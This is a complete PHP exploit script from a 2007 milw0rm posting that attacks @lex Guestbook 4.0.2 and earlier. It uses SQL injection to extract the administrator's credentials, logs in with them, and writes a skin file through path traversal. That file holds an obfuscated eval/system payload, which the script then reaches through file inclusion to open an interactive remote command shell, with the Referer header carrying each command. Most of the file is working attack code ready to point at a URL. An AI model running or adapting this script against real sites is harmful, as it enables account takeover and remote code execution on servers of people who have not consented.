631 lines
No EOL
16 KiB
PHP
631 lines
No EOL
16 KiB
PHP
#!/usr/bin/php
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<?php
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/*/
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| header> @lex Guestbook <= 4.0.2 Remote Command Execution Exploit
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| header> ========================================================
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| status> Retrieving the administrator password
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| sploit> AdminUsername::root
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| sploit> AdminPassword::toor
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| status> Trying to get logged in
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| sploit> Done
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| status> Trying to add a skin
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| sploit> Done
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| status> Writing the malicious skin
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| $shell> whoami
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| darkfig
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| $shell> cat /etc/passwd ...
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/*/
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if($argc < 2)
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{
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print "\n---------------------------------------------------------";
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print "\nAffected.scr..: @lex Guestbook <= 4.0.2"; // last version
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print "\nPoc.ID........: 20070107";
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print "\nType..........: PHP Code Execution";
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print "\nRisk.level....: High";
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print "\nSrc.download..: www.alexphpteam.com";
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print "\nPoc.link......: acid-root.new.fr/poc/20070107.txt";
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print "\nCredits.......: DarkFig";
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print "\n---------------------------------------------------------";
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print "\nUsage.........: php xpl.php <url>";
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print "\nProxyOptions..: <proxhost:proxport> <proxuser:proxpass>";
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print "\nExample.......: php xpl.php http://victim.com/@lexgb/";
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print "\n---------------------------------------------------------\n";
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exit(1);
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}
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$url=$argv[1];
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$prs=$argv[2];
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$pra=$argv[3];
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$xpl = new phpsploit();
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$xpl->agent("Sploitzilla");
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if(!empty($prs)) $xpl->proxy($prs);
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if(!empty($pra)) $xpl->proxyauth($pra);
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/*/
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| index.php
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| =========
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| ... include($chem_absolu."include/livre_include.".$alex_livre_ext);
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| livre_include.php -> Local File Inclusion
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| =================
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| ... set_magic_quotes_runtime(0); // thx =)
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| ... if (isset($_GET['lang']) && $_GET['lang'] && file_exists($chem_absolu."languages/".$_GET['lang'].".".$alex_livre_ext))
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| $f_language = str_replace("..","",$_GET['lang']); // We can't use .... because of file_exists() verification but ... =]
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| include($chem_absolu."languages/".$f_language.".".$alex_livre_ext);
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| index.php -> SQL Injection
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| =========
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| ... sql_select_query("msg", "alex_livre_txt_lang", "WHERE lang='".$f_language."' and `type`='titre'");
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| // "SELECT msg FROM `alex_livre_txt_lang` WHERE lang='$f_language' and type=`titre`
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/*/
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$sql = "index.php?lang=english.php%00'%20union%20select%20".
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"concat('XPLLogin:',(select%20login%20from%20alex_livr".
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"e_users%20LIMIT%201),'XPLPass:',(select%20pass%20from".
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"%20alex_livre_users%20LIMIT%201))/*";
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print "\nheader> @lex Guestbook <= 4.0.2 Remote Command Execution Exploit";
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print "\nheader> ========================================================";
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print "\nstatus> Retrieving the administrator password";
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$xpl->get($url.$sql);
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if(preg_match('#<div class="d_title">XPLLogin:(.*)XPLPass:(.*)</div>#',$xpl->getcontent(),$count))
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print "\nsploit> AdminUsername::".$count[1]."\nsploit> AdminPassword::".$count[2];
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else die("\nsploit> Exploit failed");
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print "\nstatus> Trying to get logged in";
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$xpl->post($url."admin/index.php","f_login=".$count[1]."&f_pass=".$count[2]."&f_identif=Identification");
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if(preg_match("#f_cadres\.php\?f_sid=([a-z0-9]{32})#",$xpl->getheader(),$sid)) print "\nsploit> Done";
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else die("\nsploit> Exploit failed");
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print "\nstatus> Trying to add a skin";
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// skins.php ... @mkdir($chem_absolu."templates/skins/".$_POST['aj_skin']."/", 0755)
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$xpl->post($url."admin/skins.php?f_sid=".$sid[1],"aj_skin=../../languages/d4h4x0rskin&ajouter=Ajouter");
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if(!preg_match('#alert\("ERREUR\n#',$xpl->getcontent())) print "\nsploit> Done";
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else die("\nsploit> Exploit failed");
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$scode = "chr(0x73).chr(0x79).chr(0x73).chr(0x74).chr(0x65).chr(0x6d).".
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"chr(0x28).chr(0x73).chr(0x74).chr(0x72).chr(0x69).chr(0x70).".
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"chr(0x73).chr(0x6c).chr(0x61).chr(0x73).chr(0x68).chr(0x65).".
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"chr(0x73).chr(0x28).chr(0x24).chr(0x5f).chr(0x53).chr(0x45).".
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"chr(0x52).chr(0x56).chr(0x45).chr(0x52).chr(0x5b).chr(0x27).".
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"chr(0x48).chr(0x54).chr(0x54).chr(0x50).chr(0x5f).chr(0x52).".
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"chr(0x45).chr(0x46).chr(0x45).chr(0x52).chr(0x45).chr(0x52).".
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"chr(0x27).chr(0x5d).chr(0x29).chr(0x29).chr(0x3b)";
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$data = "skin_edit=skins.php%3Ff_sid%3D".$sid[1]."%26skin_edit".
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"%3D../../languages/d4h4x0rskin&alex_livre=<?php\r\n@e".
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"val($scode);exit(0);\r\n?>&add_message=&nb_message_pa".
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"ge=&list_pages=&corps_messages=&space=&assembly=&enre".
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"gistrer=Enregistrer";
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print "\nstatus> Writing the malicious skin\n\$shell> ";
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// skins.php ... write($chem_absolu."templates/skins/".$_GET['skin_edit']."/".$tab_template_guestbook[$i])
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$xpl->post($url."admin/skins.php?skin_edit=../../languages/d4h4x0rskin&f_sid=".$sid[1],$data);
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while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN)))))
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{
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$xpl->addheader("Referer",$cmd);
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$xpl->get($url."index.php?lang=d4h4x0rskin/alex_livre.css%00");
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print $xpl->getcontent();
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print "\n\$shell> ";
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}
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class phpsploit {
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/**
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* This function is called by the get()/post() functions.
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* You don't have to call it, this is the main function.
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*
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* @return $server_response
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*/
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private function sock()
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{
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if(!empty($this->proxyhost) && !empty($this->proxyport)) $socket = fsockopen($this->proxyhost,$this->proxyport);
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else $socket = fsockopen($this->host,$this->port);
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if(!$socket) die("Error: The host doesn't exist");
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if($this->method==="get") $this->packet = "GET ".$this->url." HTTP/1.1\r\n";
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elseif($this->method==="post") $this->packet = "POST ".$this->url. " HTTP/1.1\r\n";
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else die("Error: Invalid method");
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if(!empty($this->proxyuser)) $this->packet .= "Proxy-Authorization: Basic ".base64_encode($this->proxyuser.":".$this->proxypass)."\r\n";
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$this->packet .= "Host: ".$this->host."\r\n";
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if(!empty($this->agent)) $this->packet .= "User-Agent: ".$this->agent."\r\n";
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if(!empty($this->header)) $this->packet .= $this->header."\r\n";
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if(!empty($this->cookie)) $this->packet .= "Cookie: ".$this->cookie."\r\n";
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$this->packet .= "Connection: Close\r\n";
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if($this->method==="post")
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{
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$this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
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$this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n";
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$this->packet .= $this->data."\r\n";
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}
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$this->packet .= "\r\n";
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$this->recv = '';
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fputs($socket,$this->packet);
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while(!feof($socket)) $this->recv .= fgets($socket);
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fclose($socket);
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if($this->cookiejar) $this->cookiejar($this->getheader($this->recv));
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if($this->allowredirection) return $this->allowredirection($this->recv);
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else return $this->recv;
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}
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/**
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* This function allows you to add several cookie in the
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* request. Several methods are supported:
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*
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* $this->addcookie("name","value");
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* or
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* $this->addcookie("name=newvalue");
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* or
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* $this->addcookie("othername=overvalue; xx=zz; y=u");
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*
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* @param string $cookiename
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* @param string $cookievalue
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*
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*/
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public function addcookie($cookn,$cookv='')
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{
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// $this->addcookie("name","value"); work avec replace
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if(!empty($cookv))
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{
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if($cookv === "deleted") $cookv=''; // cookiejar(1) && Set-Cookie: name=delete
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if(!empty($this->cookie))
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{
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if(preg_match("/$cookn=/",$this->cookie))
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{
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$this->cookie = preg_replace("/$cookn=(\S*);/","$cookn=$cookv;",$this->cookie);
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}
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else
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{
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$this->cookie .= " ".$cookn."=".$cookv.";"; // " ".
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}
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}
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else
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{
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$this->cookie = $cookn."=".$cookv.";";
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}
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}
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// $this->addcookie("name=value; othername=othervalue");
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else
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{
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if(!empty($this->cookie))
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{
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$cookn = preg_replace("/(.*);$/","$1",$cookn);
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$cookarr = explode(";",str_replace(" ", "",$cookn));
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for($i=0;$i<count($cookarr);$i++)
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{
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preg_match("/(\S*)=(\S*)/",$cookarr[$i],$matches);
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$cookn = $matches[1];
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$cookv = $matches[2];
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$this->addcookie($cookn,$cookv);
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}
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}
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else
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{
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$cookn = ((substr($cookn,(strlen($cookn)-1),1))===";") ? $cookn : $cookn.";";
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$this->cookie = $cookn;
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}
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}
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}
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/**
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* This function allows you to add several headers in the
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* request. Several methods are supported:
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*
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* $this->addheader("headername","headervalue");
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* or
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* $this->addheader("headername: headervalue");
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*
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* @param string $headername
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* @param string $headervalue
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*/
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public function addheader($headern,$headervalue='')
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{
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// $this->addheader("name","value");
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if(!empty($headervalue))
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{
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if(!empty($this->header))
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{
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if(preg_match("/$headern:/",$this->header))
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{
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$this->header = preg_replace("/$headern: (\S*)/","$headern: $headervalue",$this->header);
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}
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else
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{
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$this->header .= "\r\n".$headern.": ".$headervalue;
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}
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}
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else
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{
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$this->header=$headern.": ".$headervalue;
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}
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}
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// $this->addheader("name: value");
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else
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{
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if(!empty($this->header))
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{
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$headarr = explode(": ",$headern);
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$headern = $headarr[0];
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$headerv = $headarr[1];
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$this->addheader($headern,$headerv);
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}
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else
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{
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$this->header=$headern;
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}
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}
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}
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/**
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* This function allows you to use an http proxy server.
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* Several methods are supported:
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*
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* $this->proxy("proxyip","8118");
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* or
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* $this->proxy("proxyip:8118")
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*
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* @param string $proxyhost
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* @param integer $proxyport
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*/
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public function proxy($proxy,$proxyp='')
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{
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// $this->proxy("localhost:8118");
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if(empty($proxyp))
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{
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preg_match("/^(\S*):(\d+)$/",$proxy,$proxarr);
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$proxh = $proxarr[1];
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$proxp = $proxarr[2];
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$this->proxyhost=$proxh;
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$this->proxyport=$proxp;
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}
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// $this->proxy("localhost",8118);
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else
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{
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$this->proxyhost=$proxy;
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$this->proxyport=intval($proxyp);
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}
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if($this->proxyport > 65535) die("Error: Invalid port number");
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}
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/**
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* This function allows you to use an http proxy server
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* which requires a basic authentification. Several
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* methods are supported:
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*
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* $this->proxyauth("darkfig","dapasswd");
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* or
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* $this->proxyauth("darkfig:dapasswd");
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*
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* @param string $proxyuser
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* @param string $proxypass
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*/
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public function proxyauth($proxyauth,$proxypasse='')
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{
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// $this->proxyauth("darkfig:password");
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if(empty($proxypasse))
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{
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preg_match("/^(.*):(.*)$/",$proxyauth,$proxautharr);
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$proxu = $proxautharr[1];
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$proxp = $proxautharr[2];
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$this->proxyuser=$proxu;
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$this->proxypass=$proxp;
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}
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// $this->proxyauth("darkfig","password");
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else
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{
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$this->proxyuser=$proxyauth;
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$this->proxypass=$proxypasse;
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}
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}
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/**
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* This function allows you to set the "User-Agent" header.
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* Several methods are possible to do that:
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*
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* $this->agent("Mozilla Firefox");
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* or
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* $this->addheader("User-Agent: Mozilla Firefox");
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* or
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* $this->addheader("User-Agent","Mozilla Firefox");
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*
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* @param string $useragent
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*/
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public function agent($useragent)
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{
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$this->agent=$useragent;
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}
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/**
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* This function returns the header which will be
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* in the next request.
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*
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* $this->showheader();
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*
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* @return $header
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*/
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public function showheader()
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{
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return $this->header;
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}
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/**
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* This function returns the cookie which will be
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* in the next request.
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*
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* $this->showcookie();
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*
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* @return $storedcookies
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*/
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public function showcookie()
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{
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return $this->cookie;
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}
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/**
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* This function returns the last formed
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* http request (the http packet).
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*
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* $this->showlastrequest();
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*
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* @return $last_http_request
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*/
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public function showlastrequest()
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{
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return $this->packet;
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}
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/**
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* This function sends the formed http packet with the
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* GET method. You can precise the port of the host.
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*
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* $this->get("http://localhost");
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* $this->get("http://localhost:888/xd/tst.php");
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*
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* @param string $urlwithpath
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* @return $server_response
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*/
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public function get($url)
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{
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$this->target($url);
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$this->method="get";
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return $this->sock();
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}
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/**
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* This function sends the formed http packet with the
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* POST method. You can precise the port of the host.
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*
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* $this->post("http://localhost/index.php","admin=1&user=dark");
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*
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* @param string $urlwithpath
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* @param string $postdata
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* @return $server_response
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*/
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public function post($url,$data)
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{
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$this->target($url);
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$this->method="post";
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$this->data=$data;
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return $this->sock();
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}
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/**
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* This function returns the content of the server response
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* without the headers.
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*
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* $this->getcontent($this->get("http://localhost/"));
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* or
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* $this->getcontent();
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*
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* @param string $server_response
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* @return $onlythecontent
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*/
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public function getcontent($code='')
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{
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if(empty($code)) $code = $this->recv;
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$content = explode("\n",$code);
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$onlycode = '';
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for($i=1;$i<count($content);$i++)
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{
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if(!preg_match("/^(\S*):/",$content[$i])) $ok = 1;
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if($ok) $onlycode .= $content[$i]."\n";
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}
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return $onlycode;
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}
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/**
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* This function returns the headers of the server response
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* without the content.
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*
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* $this->getheader($this->post("http://localhost/x.php","x=1&z=2"));
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* or
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* $this->getheader();
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*
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* @param string $server_response
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* @return $onlytheheaders
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*/
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public function getheader($code='')
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{
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if(empty($code)) $code = $this->recv;
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$header = explode("\n",$code);
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$onlyheader = $header[0]."\n";
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for($i=1;$i<count($header);$i++)
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{
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if(!preg_match("/^(\S*):/",$header[$i])) break;
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$onlyheader .= $header[$i]."\n";
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}
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return $onlyheader;
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}
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/**
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* This function is called by the cookiejar() function.
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* It adds the value of the "Set-Cookie" header in the "Cookie"
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* header for the next request. You don't have to call it.
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*
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* @param string $server_response
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*/
|
|
private function getcookie($code)
|
|
{
|
|
$carr = explode("\n",str_replace("\r\n","\n",$code));
|
|
for($z=0;$z<count($carr);$z++)
|
|
{
|
|
if(preg_match("/set-cookie: (.*)/i",$carr[$z],$cookarr))
|
|
{
|
|
$cookie[] = preg_replace("/expires=(.*)(GMT||UTC)(\S*)$/i","",preg_replace("/path=(.*)/i","",$cookarr[1]));
|
|
}
|
|
}
|
|
|
|
for($i=0;$i<count($cookie);$i++)
|
|
{
|
|
preg_match("/(\S*)=(\S*);/",$cookie[$i],$matches);
|
|
$cookn = $matches[1];
|
|
$cookv = $matches[2];
|
|
$this->addcookie($cookn,$cookv);
|
|
}
|
|
}
|
|
|
|
|
|
/**
|
|
* This function is called by the get()/post() functions.
|
|
* You don't have to call it.
|
|
*
|
|
* @param string $urltarg
|
|
*/
|
|
private function target($urltarg)
|
|
{
|
|
if(!preg_match("/^http:\/\/(.*)\//",$urltarg)) $urltarg .= "/";
|
|
$this->url=$urltarg;
|
|
|
|
$array = explode("/",str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg)));
|
|
$this->host=$array[0];
|
|
|
|
preg_match("/:(\d+)\//",$urltarg,$matches);
|
|
$this->port=empty($matches[1]) ? 80 : $matches[1];
|
|
|
|
$temp = str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg));
|
|
preg_match("/\/(.*)\//",$temp,$matches);
|
|
$this->path=str_replace("//","/","/".$matches[1]."/");
|
|
|
|
if($this->port > 65535) die("Error: Invalid port number");
|
|
}
|
|
|
|
|
|
/**
|
|
* If you call this function, the script will
|
|
* extract all "Set-Cookie" headers values
|
|
* and it will automatically add them into the "Cookie" header
|
|
* for all next requests.
|
|
*
|
|
* $this->cookiejar(1); // enabled
|
|
* $this->cookiejar(0); // disabled
|
|
*
|
|
*/
|
|
public function cookiejar($code)
|
|
{
|
|
if($code===0) $this->cookiejar='';
|
|
if($code===1) $this->cookiejar=1;
|
|
else
|
|
{
|
|
$this->getcookie($code);
|
|
}
|
|
}
|
|
|
|
|
|
/**
|
|
* If you call this function, the script will
|
|
* follow all redirections sent by the server.
|
|
*
|
|
* $this->allowredirection(1); // enabled
|
|
* $this->allowredirection(0); // disabled
|
|
*
|
|
* @return $this->get($locationresponse)
|
|
*/
|
|
public function allowredirection($code)
|
|
{
|
|
if($code===0) $this->allowredirection='';
|
|
if($code===1) $this->allowredirection=1;
|
|
else
|
|
{
|
|
if(preg_match("/(location|content-location|uri): (.*)/i",$code,$codearr))
|
|
{
|
|
$location = str_replace(chr(13),'',$codearr[2]);
|
|
if(!eregi("://",$location))
|
|
{
|
|
return $this->get("http://".$this->host.$this->path.$location);
|
|
}
|
|
else
|
|
{
|
|
return $this->get($location);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
return $code;
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
/**
|
|
* This function allows you to reset some parameters:
|
|
*
|
|
* $this->reset(header); // headers cleaned
|
|
* $this->reset(cookie); // cookies cleaned
|
|
* $this->reset(); // clean all parameters
|
|
*
|
|
* @param string $func
|
|
*/
|
|
public function reset($func='')
|
|
{
|
|
switch($func)
|
|
{
|
|
case "header":
|
|
$this->header='';
|
|
break;
|
|
|
|
case "cookie":
|
|
$this->cookie='';
|
|
break;
|
|
|
|
default:
|
|
$this->cookiejar='';
|
|
$this->header='';
|
|
$this->cookie='';
|
|
$this->allowredirection='';
|
|
$this->agent='';
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
# milw0rm.com [2007-01-08]
|